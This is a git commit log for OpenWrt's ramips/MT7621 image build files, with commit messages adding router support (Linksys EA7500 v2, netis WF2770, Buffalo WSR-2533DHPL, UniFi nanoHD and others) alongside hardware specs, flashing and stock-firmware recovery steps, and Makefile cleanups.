| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Linksys EA7500 v2 is advertised as AC1900, but its internal hardware is AC2600 capable. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 256M (Nanya NT5CC128M16IP-DI) FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI) ETH: 5x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615N (4x4:4) - 5GHz: 1x MT7615N (4x4:4) - 4 antennas: 3 external detachable antennas and 1 internal USB: - 1x USB 3.0 - 1x USB 2.0 BTN: - 1x Reset button - 1x WPS button LEDS: - 1x White led (Power) - 6x Green leds (link lan1-lan4, link wan, wps) - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable) Everything works correctly. Installation ------------ The “factory” openwrt image can be flashed directly from OEM stock firmware. After the flash the router will reboot automatically. However, due to the dual boot system, the first installation could fail (if you want to know why, read the footnotes). If the flash succeed and you can reach OpenWrt through the web interface or ssh, you are done. Otherwise the router will try to boot 3 times and then will automatically boot the OEM firmware (don’t turn off the router. Simply wait and try to reach the router through the web interface every now and then, it will take few minutes). After this, you should be back in the OEM firmware. Now you have to flash the OEM Firmware over itself using the OEM web interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img downloaded from the Linksys website). When the router reboots flash the “factory” OpenWrt image and this time it should work. After the OpenWrt installation you have to use the sysupgrade image for future updates. Restore OEM Firmware -------------------- After the OpenWrt flash, the OEM firmware is still stored in the second partition thanks to the dual boot system. You can switch from OpenWrt to OEM firmware and vice-versa failing the boot 3 times in a row: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware If you want to completely remove OpenWrt from your router, switch to the OEM firmware and then flash OEM firmware from the web interface as a normal update. This procedure will overwrite the OpenWrt partition. Footnotes --------- The Linksys EA7500-v2 has a dual boot system to avoid bricks. This system works using 2 pair of partitions: 1) "kernel" and "rootfs" 2) "alt_kernel" and "alt_rootfs". After 3 failed boot attempts, the bootloader tries to boot the other pair of partitions and so on. This system is managed by the bootloader, which writes a bootcount in the s_env partition, and if successfully booted, the system add a "zero-bootcount" after the previous value. A system update performed from OEM firmware, writes the firmware on the other pair of partitions and sets the bootloader to boot the new pair of partitions editing the “boot_part” variable in the bootloader vars. Effectively it's a quick and safe system to switch the selected boot partition. Another way to switch the boot partition is: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware In this OpenWrt port, this dual boot system is partially working because the bootloader sets the right rootfs partition in the cmdline but unfortunately OpenWrt for ramips platform overwrites the cmdline so is not possible to detect the right rootfs partition. Because all of this, I preferred to simply use the first pair of partitions and set read-only the other pair. However this solution is not optimal because is not possible to know without opening the case which is the current booted partition. Let’s take for example a router booting the OEM firmware from the first pair of partitions. If we flash the OpenWrt image, it will be written on the second pair. In this situation the router will bootloop 3 times and then will automatically come back to the first pair of partitions containg the OEM firmware. In this situation, to flash OpenWrt correctly is necessary to switch the booting partition, flashing again the OEM firmware over itself. At this point the OEM firmware is on both pair of partitions but the current booted pair is the second one. Now, flashing the OpenWrt factory image will write the firmware on the first pair and then will boot correctly. If this limitation in the ramips platform about the cmdline will be fixed, the dual boot system can also be implemented in OpenWrt with almost no effort. Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> Co-Developed-by: Jackson Lim <jackcolentern@gmail.com> Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
* ramips: add support for netis WF2770Sungbo Eo2020-05-171-6/+0
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | netis WF2770 is a 2.4/5GHz band AC750 router, based on MediaTek MT7620A. Specifications: - SoC: MT7620A - RAM: DDR2 64MB - Flash: SPI NOR 16MB - WiFi: - 2.4GHz: SoC internal - 5GHz: MT7610EN - Ethernet: 5x 10/100/1000Mbps - Switch: MT7530BU - UART: - J2: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1 MAC addresses in factory partition: 0x0004: LAN, WiFi 2.4GHz (label_mac-6) 0x0028: not used (label_mac-1) 0x002e: WAN (label_mac) 0x8004: WiFi 5GHz (label_mac+2) Installation via web interface: 1. Flash **initramfs** image through the stock web interface. 2. Boot into OpenWrt and perform sysupgrade with sysupgrade image. Revert to stock firmware: 1. Perform sysupgrade with stock image. Reviewed-by: Pawel Dembicki <paweldembicki@gmail.com> Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: tidy up image subtarget MakefilesSungbo Eo2020-05-081-53/+50
| | | | | | | | | - use tab indent in image build recipes for consistency - harmonize line wrapping Signed-off-by: Sungbo Eo <mans0n@gorani.run> [use different line wrapping for one recipe] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: create common definition for I-O DATA NAND devicesAdrian Schmutzler2020-04-271-23/+11
| | | | | | | | Three of the I-O DATA devices with NAND flash share a lot of variables. Create a common definition for them to reduce duplicate code. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: use lzma-loader for I-O DATA mt7621 devicesINAGAKI Hiroshi2020-04-271-0/+6
| | | | | | | | | | | | | | | | | | The official sysupgrade images for I-O DATA devices manufactured by MSTC (MitraStar Technology Corp.) cannot be booted normally and the kernel panics after switching to kernel 5.4. This commit fixes the issue by using lzma-loader. Note: These devices use Z-LOADER to read the kernel from NAND flash and boot it. Z-LOADER cannot load and start plain lzma-loader, so additional lzma-compression is needed. Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com> Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp> Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp> Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
* ramips: use lzma-loader for Japanese mt7621 devicesINAGAKI Hiroshi2020-04-271-0/+8
| | | | | | | | | In several Japanese routers with MT7621 SoC, the official sysupgrade image cannot be booted properly after switching to kernel 5.4. This commit fixes the issue by using lzma-loader. Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
* ramips: mt7621: use lzma-loader for D-Link DIR-860L B1Szabolcs Hubai2020-04-271-1/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | This device has trouble extracting big kernel from flash, and supports LZMA compressed kernels only. Using OpenWrt kernel loader saves us 64 KB compared to the dictionary size limiting workaround. Factory image sizes (commit: 5f126c541a74) with "CONFIG_ALL_KMODS=y": - original ("-d23", default): 4784188 bytes, LZMA ERROR 1 - with "-d19": 4915260, LZMA ERROR 1 - with "-d18": 4915260, diff to original: +128 KB - with "-d17": 4980796, diff to original: +192 KB - with this patch: 4849724, diff to original: +64 KB To save some CPU cycle, use minimal compression ("-a0") for the LZMA compressed uImage. The most robust solution would use a different loader, which reads the compressed kernel directly from the flash. See the thread at [0] for more details! [0] http://lists.infradead.org/pipermail/openwrt-devel/2020-April/022926.html Signed-off-by: Szabolcs Hubai <szab.hu@gmail.com> Tested-by: Stijn Segers <foss@volatilesystems.org> [fixed identation] Signed-off-by: David Bauer <mail@david-bauer.net>
* kernel: add module to support SFP cagesRené van Dorst2020-04-251-1/+1
| | | | | | Enables kernel SFP case support. Signed-off-by: René van Dorst <opensource@vdorst.com>
* ramips: mt7621: add NETGEAR R7200 as DEVICE_ALT1Pawel Dembicki2020-04-201-0/+4
| | | | | | | | Netgear R7200 is another clone of Netgear R6700v2, introduced in: 6e80df5 ("ramips: add support for NETGEAR R6700v2/AC2400") Reported-by: Joel Pinsker, github user @joelp64 Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
* ramips: mt7621: use lzma-loader for newifi d1/d2/thunder timecloudChuanhong Guo2020-04-181-0/+3
| | | | | | | These devices failed to properly extract kernel. enable lzma loader for them. Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* ramips: increase HiWiFi HC5962 kernel partition to 4MDENG Qingfang2020-04-181-4/+1
| | | | | | | | | | | | | | | | | | Increase kernel partition because 2M is insufficient for 5.4 Because the partition changes, previous version of OpenWrt cannot upgrade to this version, and requires a new installation Recovery to stock instruction: 1. Download stock firmware at http://ur.ikcd.net/HC5962-sysupgrade-20171221-b00a04d1.bin 2. Power off the router 3. Press and hold the reset button for 4~6 sec while power it back on 4. Connect a PC to router's LAN 5. Visit http://192.168.2.1 and upload the firmware Then repeat the instruction in edae3479e64e to install OpenWrt Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
* ramips: mt7621: enable lzma-loader for some devicesChuanhong Guo2020-04-151-0/+6
| | | | | | | | | | ubnt er-x/xiaomi/netgear sercomm devices are known to have troble extracting a big kernel from flash and has support for uncompressed uimage This commit uses uncompressed uimage with lzma-loader for these devices to fix boot issue. Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* ramips: define lzma loader platform in targetChuanhong Guo2020-04-141-1/+0
| | | | | | | | Loader platform is a per-soc variable instead of a per-device one. Determine corresponding loader platform at the beginning of image Makefile. Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* ramips: mt7621: tidy up names for Ubiquiti devicesAdrian Schmutzler2020-04-121-10/+13
| | | | | | | | | | | | | | | The "proper" vendor prefix for Ubiquiti is "ubnt", this is used in all targets except ramips and also recommended by the kernel. This patch adjusts the various board/image/device name variables accordingly. Since we touch it anyway, this also adds the space in "EdgeRouter X" as a hyphen to those variables to really make them consistent with the model name. While at it, create a real shared definition for the devices in image/mt7621.mk instead of deriving one device from another. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for I-O DATA WN-AX2033GRYanase Yuki2020-04-121-0/+16
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | I-O DATA WN-AX2033GR is roughly the same as I-O DATA WN-AX1167GR2. The difference is Wi-Fi feature. Specification ============= - SoC: MediaTek MT7621A - RAM: DDR3 128 MiB - Flash Memory: NAND 128 MiB (Spansion S34ML01G200TF100) - Wi-Fi: MediaTek MT7603E - Wi-Fi: MediaTek MT7615 - Ethernet: 5x 10 Mbps / 100 Mbps / 1000 Mbps (1x WAN, 4x LAN) - LED: 2x green LED - Input: 2x tactile switch, 1x slide switch - Serial console: 57600bps, PCB through hole J5 (Vcc, TX, RX, NC, GND) - Power: DC 12V This device only supports channel 1-13 and 36-140. Thus, narrower frequency limits compared to other devices are required for limiting wi-fi frequency correctly. Without this, non-supported frequencies are activated. Flash instructions ================== 1. Open the router management page (192.168.0.1). 2. Update router firmware using "initramfs-kernel.bin". 3. After updating, run sysupgrade with "sysupgrade.bin". Recovery instructions ===================== WN-AX2033GR contains Zyxel Z-LOADER 1. Setup TFTP server (IP address: 10.10.10.3). 2. Put official firmware into TFTP server directory (distribution site: https://www.iodata.jp/lib/software/w/2068.htm) 3. Connect WX-AX2033GR Ethernet port and computer that runs TFTP server. 4. Connect to serial console. 5. Interrupt booting by Esc key. 6. Flash firmware using "ATNR 1,[firmware filename]" command. Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [adjust for kernel 5.4, add recovery instructions/frequency comment] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7621: harmonize naming scheme for MikrotikAdrian Schmutzler2020-04-081-8/+10
| | | | | | | | | | | | | | | | | So far, image/device/board names for Mikrotik devices in mt7621 have been used quite inconsistently. This patch harmonizes the naming scheme by applying the same style as used lately in ath79, i.e. using "RouterBOARD" as separate word in the model name (instead of RB prefix for the number) and deriving the board/device name from that (= make lower case and replace spaces by hyphens). This style has already been used for most the model/DEVICE_MODEL variables in mt7621, so this is essentially just adjusting the remaining variables to that. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7621: reenable rbm11gTobias Schramm2020-04-081-1/+0
| | | | | | | I have a rbm11g and can confirm that the LAN port is indeed switch port 0. Signed-off-by: Tobias Schramm <t.schramm@manjaro.org>
* ramips: add support for Buffalo WSR-2533DHPLINAGAKI Hiroshi2020-04-071-0/+9
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Buffalo WSR-2533DHPL is a 2.4/5 GHz band 11ac router, based on MediaTek MT7621A. Specification: - SoC : MediaTek MT7621A - RAM : DDR3 128 MiB - Flash : SPI-NOR 16 MiB - WLAN : 2.4/5 GHz 4T4R (2x MediaTek MT7615N) - Ethernet : 10/100/1000 Mbps - Switch : MediaTek MT7530 (SoC) - LED/keys : 8x/6x (3x buttons, 2x slide-switches) - UART : through-hole on PCB - J4: 3.3V, GND, TX, RX from triangle-mark - 57600n8 - Power : 12VDC 1.5A Flash instruction using initramfs image: 1. prepare the TFTP server with the initramfs image renamed to "linux.trx-recovery" and IP address "192.168.11.2" 2. press the "AOSS" button while powering on the WSR-2533DHPL 3. after 10 seconds, release the "AOSS" button, WSR-2533DHPL downloads the initramfs image and boot with it automatically 4. on the initramfs image, download the sysupgrade image to the device and perform sysupgrade with it 5. wait ~120 seconds to complete flashing Switch position overview: - slide-switch1 (2x positions) - "AUTO" - "MANUAL" (not connected to gpio) - slide-switch2 (3x positions) - "ROUTER" - "AP" (not connected to gpio) - "WB" Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com> [add note on switches, fix group->groups for state_default] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7621: disable image for mikrotik_rbm11gChuanhong Guo2020-04-041-0/+1
| | | | | | | It's unknown which switch port is used on mikrotik_rbm11g. Disable this image until someone with actual device fixes this problem. Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* Revert "ramips: mt7621: disable images for gehua_ghl-r-001"DENG Qingfang2020-04-041-1/+0
| | | | | | | This reverts commit 28080d54d217fb4ab112e079f69462fee695dbf8. Support for MX25L25635F flash is fixed upstream Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
* ramips: use SoC I2C instead of bitbanged for Ubiquiti ER-X-SFPDENG Qingfang2020-04-041-1/+1
| | | | | | | The original idea of bitbanged I2C is to use i2c-gpio-custom Since i2c-gpio-custom is no longer available on 5.4, use SoC I2C instead Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
* treewide: omit IMAGE_SIZE argument from check-sizeSungbo Eo2020-03-211-17/+17
| | | | | | | | | Now that check-size uses IMAGE_SIZE by default, we can skip the argument from image recipes to reduce redundancy. Signed-off-by: Sungbo Eo <mans0n@gorani.run> [do not touch ar71xx] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* treewide: gather DEVICE_VARS into one placeSungbo Eo2020-03-211-2/+1
| | | | | | | | | | | Place DEVICE_VARS assignments at the top of the file or above Device/Default to make them easier to find. For ramips, remove redundant values already present in parent file. Signed-off-by: Sungbo Eo <mans0n@gorani.run> [do not touch ar71xx, extend commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* kernel: make kmod-ata-core selected by dependent modulesupstreamless-old-masterSungbo Eo2020-03-111-21/+20
| | | | | | | | | | | | | | | | Currently kmod-ata-* will not get into images unless kmod-ata-core is added to DEVICE_PACKAGES as well. By changing the dependencies from "depends on" to "select", we do not have the issue anymore. Furthermore, we can remove most occurrences of the package from DEVICE_PACKAGES and similar variables, as it is now pulled by dependent modules such as: - kmod-ata-ahci - kmod-ata-ahci-mtk - kmod-ata-sunxi While at it, use AddDepends/ata for kmod-ata-pdc202xx-old. Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: add support for Ubiquiti UniFi nanoHDDavid Bauer2020-03-101-0/+8
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Hardware -------- SoC: MediaTek MT7621AT WiFi: MediaTek MT7603 bgn 2T2R MediaTek MT7615 ac 4T4R Flash: 32M SPI (Macronix MX25L25635F) RAM: 128M DDR3 (Winbond W631GG6KB) LED: Dome (Blue / White) BTN: Reset Installation ------------ These instructions were written for firmware version v3.9.27. Downgrade if necessary. 1. Copy the OpenWrt sysupgrade image to the devices /tmp folder via scp. On factory defaults, user and password is "ubnt" at 192.168.1.20/24. 2. Write the bootselect flag. Otherwise, the device might boot from the wrong partition. Verify the mtd partition used in the command below is the one labled "bs" in /proc/mtd (as this might change in the future). > dd if=/dev/zero bs=1 count=1 of=/dev/mtd4 3. Write the OpenWrt sysupgrade to the mtd partitions labled "kernel0" and "kernel1". > dd if=/tmp/openwrt-sysupgrade.bin of=/dev/mtdblock6 > dd if=/tmp/openwrt-sysupgrade.bin of=/dev/mtdblock7 4. Reboot or powercycle the device. Signed-off-by: David Bauer <mail@david-bauer.net>